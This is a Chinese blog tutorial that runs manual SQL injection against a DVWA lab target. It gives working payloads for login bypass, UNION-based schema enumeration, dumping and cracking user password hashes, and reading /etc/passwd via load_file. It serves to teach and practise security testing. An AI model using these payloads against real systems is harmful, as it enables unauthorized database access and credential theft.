SQL手工注入探索旅程(一)

最新推荐文章于 2024-03-17 12:15:00 发布
最新推荐文章于 2024-03-17 12:15:00 发布
阅读量9.2k 收藏 21
点赞数 6
分类专栏： kali web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39353923/article/details/82901903
版权

SQL注入漏洞原理

  • SQL 注入是一种将 SQL 代码插入或添加到应用（用户）的输入参数中，之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。

  • 攻击者能够修改 SQL 语句，该进程将与执行命令的组件（如数据库服务器、应用服务器或 WEB 服务器）拥有相同的权限。 如果 WEB

  • 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL查询（该查询在数据库服务器上执行）之前已经对其进行过验证，通常就会出现 SQL 注入漏洞。

实验环境:
kali:192.168.128.128/24
metasploit:192.168.128.129/24

我们首先看一段很简单的PHP代码查询数据库的代码

$user = $_POST[ 'username' ];      #通过POST方法获取用户输入的用户名信息,将其存储在user变量中
$pass = $_POST[ 'password' ];      #通过POST方法获取用户输入的密码信息,将其存储在pass变量中
$pass = md5( $pass );					#将获取的密码进行MD5加密
#从数据库的users表中查询user和password是否为用户输入的信息,如果一致则登陆成功,不一致则相反.
#SQL语句的简单语法:select 列名 from 表名 where 条件  表示从表中查询和条件相符的列的信息
$qry = "SELECT * FROM  'USERS' WHERE user='$user' AND password='$pass'; ";

那如果我们输入用户名为正常的用户名如admin,密码栏输入’ OR ’ '= ’ ’ 那么SQL查询语句就变成这样啦

SELECT * FROM  'USERS' WHERE user=admin AND password=' ' OR ' '=' ';

数据库查询的时候,发现用户名正确,开始查询密码,根据布尔值的判断,我们可以得知or语句只要其中一个条件正确,那么这个语句就是正确的,那么’ ’ = ’ '为True,所以用户名密码输入正确,即可登陆成功,这就是简单的SQL注入绕过登陆认证的小实验.

当然使用1=1,1=2这种方法也可以基于表单绕过登陆,当我们输入用户名为admin,密码 ’ OR ‘1’='2,那么SQL查询语句为:

SELECT * FROM  'USERS' WHERE user=admin AND password=' ' OR ' 1'='2 ';

那么如果系统报错(‘1’='2’为假命题,如果系统未对用户输入的信息过滤,那么便会报错),则证明我们所提交的信息可以被数据库接收,然后我们再输入用户名为admin,密码 ’ OR ‘1’='1,那么SQL查询语句为:

SELECT * FROM  'USERS' WHERE user=admin AND password=' ' OR ' 1'='1 ';

由逻辑判断’1’='1’为真命题,便可以绕过登陆认证直接进入该web应用.

开始实验
1,登陆metasploit中的dvwa的web界面,设置DVWA Security中安全等级为low,提交,然后选择SQL Injection
在这里插入图片描述
在这里插入图片描述
2.1:使用基于报错信息的检测方法
我们在User ID中输入一个单引号’点击提交,页面报错在这里插入图片描述
那么我们可以猜测一下该web程序中的SQL查询语句为:

SELECT 列名 FROM   表  WHERE id='' $id '' ;

我们输入一个单引号后的SQL查询语句为:

SELECT 列名 FROM   表  WHERE id='' ' '' ;

那么我们输入两个单引号,那么两两闭合,系统未报错,但也未显示信息

SELECT 列名 FROM   表  WHERE id=''' ''' ;

那么我们可以得出两个结论:
(1),系统报错,证明我们提交的数据被系统接收,但由于输入不正确的字符导致SQL命令不正确报错,那么该WEB应用可能存在SQL注入漏洞
(2),由系统提示的信息可以得知该SQL语句查找条件时是把用户提交的数据用一个两个单引号括起来的,可以大概假设一下SQL语句为:

SELECT 列名 FROM   表  WHERE id='' $id '' ;

2.2,基于布尔值的检测方法
输入1’ and ‘1’=‘1或者输入1’ and '1(1表示真,0表示假)
在这里插入图片描述
在这里插入图片描述
那么可知其查询的列为First name和Surname,其SQL语句为:

SELECT First name,Surname  FROM   表  WHERE id=' '1' and '1'='1' ' ;
SELECT First name,Surname  FROM   表  WHERE id=' '1' and '1' ' ;

输入1’ and ‘1’=‘2或者输入1’ and '0(1表示真,0表示假)
在这里插入图片描述
该命题为假命题.‘1’不等于’2’,则不会显示其信息
SQL语句为:

SELECT First name,Surname  FROM   表  WHERE id=' '1' and '1'='2'' ;
SELECT First name,Surname  FROM   表  WHERE id=' '1' and '0'' ;

枚举查询的表的列数
order by用于对从表中选出的列进行排序
其语法为order by +查询的列数
那么我们可以试着去试验其查询多少列
其SQL语句为:

SELECT First name,Surname  FROM   表  WHERE ' ' order by 10-- ;  #数字10只是随意去的一个数字,自己根据情况而定

输入指令为

' order by 10 --

两个–表示注释符,将其后面的内容全部注释,避免多了一个’而出错

另外在–之后一定要输入一个空格之后再提交
在这里插入图片描述
在这里插入图片描述
我们假设有2列,那么以2排序不报错,那么可以证明其查询的列大于或者等于2
在这里插入图片描述
我们假设所查询的列数为3列,进行查询则报错,在这里插入图片描述
所以得证其查询的列为2列,得证就是刚刚的First name和Surname

联合查询
使用union或者union all将两个SQL语句联合起来进行查询
union和union all区别:
union在进行表链接后会筛选掉重复的记录，所以在表链接后会对所产生的结果集进行排序运算，删除重复的记录再返回结果。

如：
select * from test_union1
union
select * from test_union2
这个SQL在运行时先取出两个表的结果，再用排序空间进行排序删除重复的记录，最后返回结果集，如果表数据量大的话可能会导致用磁盘进行排序。
而union all只是简单的将两个结果合并后就返回。这样，如果返回的两个结果集中有重复的数据，那么返回的结果集就会包含重复的数据了。

我们通过联合查询判断第一个字段和第二个字段出现在哪个位置(简单说就是第一个值是First name还是Surname
输入指令为:

' union select 1,2--          注意在输入两个横杠之后敲击空格然后点提交才会出现结果

由此指令可得知First name为第一个查询的列,Surname为第二个查询的列
在这里插入图片描述
其SQL语句为:

SELECT First name,Surname  FROM   表  WHERE ' '  union select 1,2-- ;

Mysql数据库的内置函数:
user():当前的MySQL用户名和主机名。
database():返回默认（当前）数据库名称。 如果没有默认数据库，则DATABASE（）返回NULL。
version():获取系统的版本号信息
那么我们查询当前数据库的用户名root,主机名localhost,数据库名dvwa
在这里插入图片描述
指令为:

' union select user(),database()

其SQL语句为:

SELECT First name,Surname  FROM   表  WHERE ' '  union select user(),database()-- ;

显示数据库的版本信息:(只显示版本的信息会报错,需要加上user()函数就可以查询到
在这里插入图片描述

mysql数据库中的全局函数
@@datadir – 数据库路径
@@hostname – 主机名
@@VERSION – DB版本
@@version_compile_os – 系统版本
在这里插入图片描述

其指令为:

' union select user(),@@datadir --

利用hackbar进行sql注入简单实例
首先在火狐浏览器的附加组件中添加hackbar,然后按F12打开hackbar(各种教程上都是按F9,我下载个火狐按的是F12,可能下了个假的火狐狸…)
在这里插入图片描述

hackbar各选项简介:
Load URL：将当前浏览器的地址栏url复制到输入框中。

Split URL：按照&来分割提交参数，并且一个参数占一行。

Execute：提交请求。

SQL：主要用于SQL注入辅助，支持MySQL、MSSQL、Oracle的字符简单转换，也能够根据输入的数字直接生成联合注入的语句、并且也可以替换空格为注释符。

XSS：用于将字符转换成ASCII码、HTML实体符号，附带生成一个测试XSS漏洞的alert弹窗代码。

Encryption：用于加密字符，支持MD5、SHA1、SHA-256、ROT13

Encoding：用于编码字符， 支持URL编码、Base64编码、十六进制编码。

Other：分别是Addslashes（将特殊字符使用“\”转义）、Stripslashes（去除转义）、Strip spaces（去除空格）、Reverse（字符串反转）。

Usefull strings：一些常量，包括（元周率、菲波那切数列、内存溢出...）

Enable Post data：这里勾选上后，会有一个输入框，使用来提交POST数据的。

Enable Referrer：HTTP请求中的上一个页面的来源地址 。（一般用于测试CSRF防御机制）

我们单击Split URL将向服务器发送的请求进行拆分,第一行为URL信息,第二行和第三行为参数信息,并且在拆分的时空格会自动转换成+号在这里插入图片描述
单击Execute直接可以从hackbar将请求发送到目标网站上
在这里插入图片描述
那么我们在hackbar中修改URL的信息并且将其URL提交给服务器,获取其信息
在这里插入图片描述
其查询的指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='+union+select+user(),@@hostname--+
&Submit=Submit#

空格被浏览器转换成+号然后传输给服务器,可以认为空格和+为等效字符
SQL命令为:

SELECT First name,Surname  FROM   表  WHERE ' '  union select user(),@@hostname-- ;

在这里插入图片描述
使用mysql中的CHAR()函数可以将ASCLL码转换成字符
在这里插入图片描述
指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='+union+select+user(),CHAR(78)--+
&Submit=Submit#

使用CONCAT_WS将字符串连接起来一起查询,提高查询效率
在这里插入图片描述
其指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--
+&Submit=Submit#

注:因为由以上实验得知每次只能查询两个字段,效率低下,所以使用mysql自带的CONCAT_WS联合查询函数,使用CHAR(32,58,32)所得到的字符作为分隔符,一次性查询用户名,数据库名,版本将其存放在第一个所查询的字段中,第二个使用null,表示不查询任何内容

使用mysql数据库中的md5函数获取其md5加密之后的值在这里插入图片描述
其指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5(123)--
+&Submit=Submit#

可以将一些耗时耗资源的计算放到有SQL注入漏洞的服务器上面去执行

使用mysql中的substring_index函数所查询的结果进行拆分
在这里插入图片描述
其指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='union+select+database(),substring_index(USER(),@,1)--+
&Submit=Submit#

注:查询数据库名称和用户名称,但对于用户名称需要处理
如果只查询USER()中的内容,那么结果为root@localhost,通过substring_index将其处理,以@符号为分隔符,将其分成两部分,取其第一部分即为root.

由刚刚的实验我们得知目标服务器的数据库为mysql,而在mysql数据库安装完成之后,有一个自带的数据库名叫information_schema

information_schema这个数据库中保存了MySQL服务器所有数据库的信息。
如数据库名，数据库的表，表栏的数据类型与访问权限等。
再简单点，这台MySQL服务器上，到底有哪些数据库、各个数据库有哪些表，
每张表的字段类型是什么，各个数据库要什么权限才能访问，等等信息都保存在information_schema里面。

information_schema的表schemata中的列schema_name记录了所有数据库的名字
information_schema的表tables中的列table_schema记录了所有数据库的名字
information_schema的表tables中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列table_schema记录了所有数据库的名字
information_schema的表columns中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列column_name记录了所有数据库的表的列的名字

那么我们根据information_schema去查询所需要的数据库信息
其指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id='union select table_name,table_schema from information_schema.tables--+
&Submit=Submit#

其SQL语句为:

SELECT First name,Surname  FROM   表  
WHERE ' ' union select table_name,table_schema 
from information_schema.tables--;
#在第二个SQL语句中表示从information_schema数据库的tables表中筛选table_name(表名)和table_schema(数据库名)字段作为第一个输出值和第二个输出值

结果为:
在这里插入图片描述

统计每个库中表的数量
其指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/?id=' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- +
&Submit=Submit#

其SQL语句为:

SELECT First name,Surname  FROM   表  
WHERE ' ' UNION select table_schema,count(*) 
FROM information_Schema.tables group by table_schema -- ;
#在第二个SQL语句中表示将information_Schema中的tables表进行分组,并且将其个数统计出来,
#第一个字段存放数据库的名称,第二个字段存放数据库中表的个数

在这里插入图片描述

查找DVWA库中的表名

http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id=' union select table_name,table_schema from information_schema.tables 
where table_schema='dvwa'--+ 
&Submit=Submit#

其SQL语句为:

SELECT First name,Surname  FROM   表  
WHERE ' ' union select table_name,table_schema from information_schema.tables 
where table_schema='dvwa'--  ;

注:该SQL语句的意思为:从information_schema的tables表中查询table_schema为dvwa数据库的表名和数据库名,并将其作为First name和Surname的值输出
在这里插入图片描述
我们看到了dvwa的user表,猜测这个表中可能存在用户的信息,比如账户名密码,然后我们继续注入
其指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/?
id=' union select table_name,column_name from information_schema.columns 
where table_schema='dvwa' and table_name='users'--+
&Submit=Submit#

其SQL语句为:

SELECT First name,Surname  FROM   表  
WHERE ' ' union select table_name,column_name from information_schema.columns 
where table_schema='dvwa' and table_name='users'--;

注:该SQL语句表示从information_schema的columns表(类似于目录的一种表)中选择数据库名为dvwa,表名是user的表名和列名,有点绕…
在这里插入图片描述
那么我们根据看看users这个表中的user和password着两列
在这里插入图片描述
其指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id= ' union select user,password from dvwa.users--+
&Submit=Submit#

从dvwa数据库的users表取出user,password这两列内容
或者将注入的SQL语句进行修改,使所获取的格式为用户名:密码
其代码为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id=' union select null, concat(user,0x3a,password) from users--+
&Submit=Submit#

concat和concat_ws都是连接两个字段,其就是分隔符位置不同
使用concat分隔符放在中间
使用concat_ws分隔符放在第一位
0x3a以16进制的ASCLL码表示,转换之后为冒号:
在这里插入图片描述

我们使用hash-identifier判断是否是hash加密
在这里插入图片描述

然后我们使用john去进行解密,先把用户名密码写入一个文本文件中,格式为用户名:密码,
在这里插入图片描述
在这里插入图片描述

后续添加:
利用SQL注入漏洞读取本地文件
使用数据库管理系统中的load_file函数去读取系统文件
指令为:

http://192.168.128.129/dvwa/vulnerabilities/sqli/
?id=' union select null,load_file('/etc/passwd')--+
&Submit=Submit#

结果如下:在这里插入图片描述

Louisnie
关注
  • 6
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
SQL手工注入大全：包含各种类型的SQL注入，实现手工注入的乐趣，此资源你值得拥有。
05-31
此资源包含：宽字节注入、SQL手工注入漏洞测试(Oracle数据库)、SQL手工注入漏洞测试(Sql Server数据库)、SQL手工注入漏洞测试(Access数据库)、SQL手工注入漏洞测试(PostgreSQL数据库)、SQL手工注入漏洞测试(MongoDB...
sql注入1之手工注入
这周末在做梦的博客
09-18 213
常见sql注入解题思路（题目来源ctfhub整数型注入） 关键字/语句/函数 解释 union select 联合查询，联合注入常用 database() 回显当前连接的数据库 version() 查看当前sql的版本如：mysql 1.2.3,mariadb-4.5.6 group_concat() 把产生的同一分组中的值用,连接，形成一个字符串 information_schema 存了很多mysql信息的数据库 information_schema.schemata
sql注入——手工注入mysql数据库
weixin_43102772的博客
02-20 536
手动sql注入流程： 1.判断注入点 2.判断字段数 3.判断可显字段位置 4.爆库名 5.爆表 6.爆字段 7.爆内容 实验环境 渗透网站：www.abc.com (已查明没有此网站，这里只是举个例子) www.abc.com?id=123 是该网站的后台提交页面。 此次查询的字段数是4个。数据库=gov，表=admin，username=root，password=123456. 思路：我...
【万字长文】SQL注入（非常详细）零基础入门到精通，收藏这一篇就够了
最新发布
Libra1313的博客
03-17 1065
之前一直有粉丝朋友，在挖漏洞过程中使用到SQL注入，希望大白给他讲解一些的SQL注入，今天大白也特地给粉丝朋友安排好了SQL注入攻击方式根据应用程序处理数据库返回内容的不同，可以分为可显注入、报错注入和盲注。
实战感受SQL注入（手工注入）
hibugs
03-18 1736
表：这些库都是再information_schema库中，information_shcema.tables的意思就是information_schema库下的tables表tables：存放数据库中的表信息columns：存放各表中的列名信息table_name：tables表中存放表名的列名column_name：columns表中存放各个表中列名的列名。
SQL手工注入及sqlmap注入（文章管理系统实例练习）
weixin_53303754的博客
10-11 164
sql手工注入及sqlmap注入练习
SQL注入
qq_63785498的博客
06-10 1780
SQL注入语句：1、1';-- -查看有哪些库2、1';-- -查看有哪些表3、1';-- -查看表里面有哪些字段4、1';-- -查看表里面所有字段的内容。
【万字长文】SQL注入全流程解析，零基础看这一篇就够了
m0_74131821的博客
03-22 1778
SQL注入简单来说就是前端没有对输入的数据进行过滤，同时后端也没有过滤，导致一些不合法的SQL语句可以执行，导致SQL注入。
sql注入详解
m0_67392811的博客
06-12 5263
目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言（Structured Query Language，缩写：SQL），是一种特殊的编程语言，用于数据库中的标准数据查询语言。SQL注入（SQL Injection）是一种常见的Web安全漏洞，主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没
sql注入
kuzemax的博客
06-02 892
SQL注入原理参数用户可控：前端传递给后端的参数内容是用户可以控制的参数带入数据库查询：传入的参数拼接到SQL语句，且带入数据库查询当传入的id参数为1' 时，数据库执行的代码如下这不符合数据库语法规范，所以会报错。当传入的ID的参数为and 1=1时，执行的语句为因为1=1为真，且where语句中id=1也为真，所以页面返回id=1相同的结果。当传入ID参数为 and1=2,由于1=2不成立，所以返回假，页面就会返回与id=1不同的结果。
超全SQL注入实用语句
weixin_44866139的博客
04-28 1万+
目录判断是否存在注入判断列数Union联合注入爆数据库爆表爆字段爆数据sql盲注导入导出文件Post注入修改useragent:修改referer:修改cookiegroup_concat二次排序注入绕过 or 和 and 过滤绕过空格的过滤宽字节注入堆叠注入order by后的injectionmysqli_multi_query()函数 判断是否存在注入 在 http://127.0.0.1/...
sql注入之手工注入示例详解
09-10
之前和大家分享了基本的SQL注入的知识，这一篇讲的就是在得知注入点的之后，如何有效地进行脱裤。文章通过示例介绍的很详细，对大家的理解和学习很有帮助，下面来一起看看吧。
SQL手工注入完全篇
09-08
SQL手工注入完全篇
手工注入常用SQL语句.txt
07-18
手工注入常用SQL语句
网站初级SQL手工注入
05-01
这里只是给出一个下载地址； 仅适合菜鸟观看，不懂SQL手工注入的人观看； 同时还列出了 用 Google 搜索网站后台的过程！ 比较简单！
Windows下轻松搭建DVWA测试环境
热门推荐
Louisnie
09-18 1万+
DVWA是一款基于php&mysql编写的用于常规WEB漏洞教学和检测的web脆弱性测试web应用。其中包含了SQL注入，盲注，文件包含，XSS，CSRF等一些常见的WEB漏洞，对于我们进行Web渗透提供了很好的平台。 开始搭建: 1,首先去下载phpstudy和DVWA源码 PHPstduy:http://www.phpstudy.net/phpstudy/phpStudy2016110...
W3af---命令行模式实验详解(一)
Louisnie
09-10 8512
实验环境: Kali:192.168.128.128 Metasploitable:192.168.128.129 安装W3af:kali2.0安装w3af文档 w3af用户接口: console命令行接口 Gui图形界面化接口 API 进入w3af命令行界面: root@kali:~/w3af-master# ./w3af_console w3a...
渗透测试之操作系统识别
Louisnie
08-28 7876
利用TTL起始值判断操作系统,不同类型的操作系统都有默认的TTL值(简陋扫描,仅作参考) TTL起始值:Windows xp(及在此版本之前的windows) 128 (广域网中TTL为65-128) Linux/Unix64(广域网中TTL为1-64) 某些Unix:255 网关:255 使用nmap识别操作系统:nmap -O 192.168.45.129 #参数-O表示扫描操作系...
sql手工注入 union
09-17
SQL手工注入是一种攻击技术，通过修改SQL查询语句来绕过应用程序的安全措施，并获取未授权的数据。其中，union查询是一种常用的手工注入技巧之一。通过使用union关键字，可以将两个或多个查询的结果合并在一起返回。...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值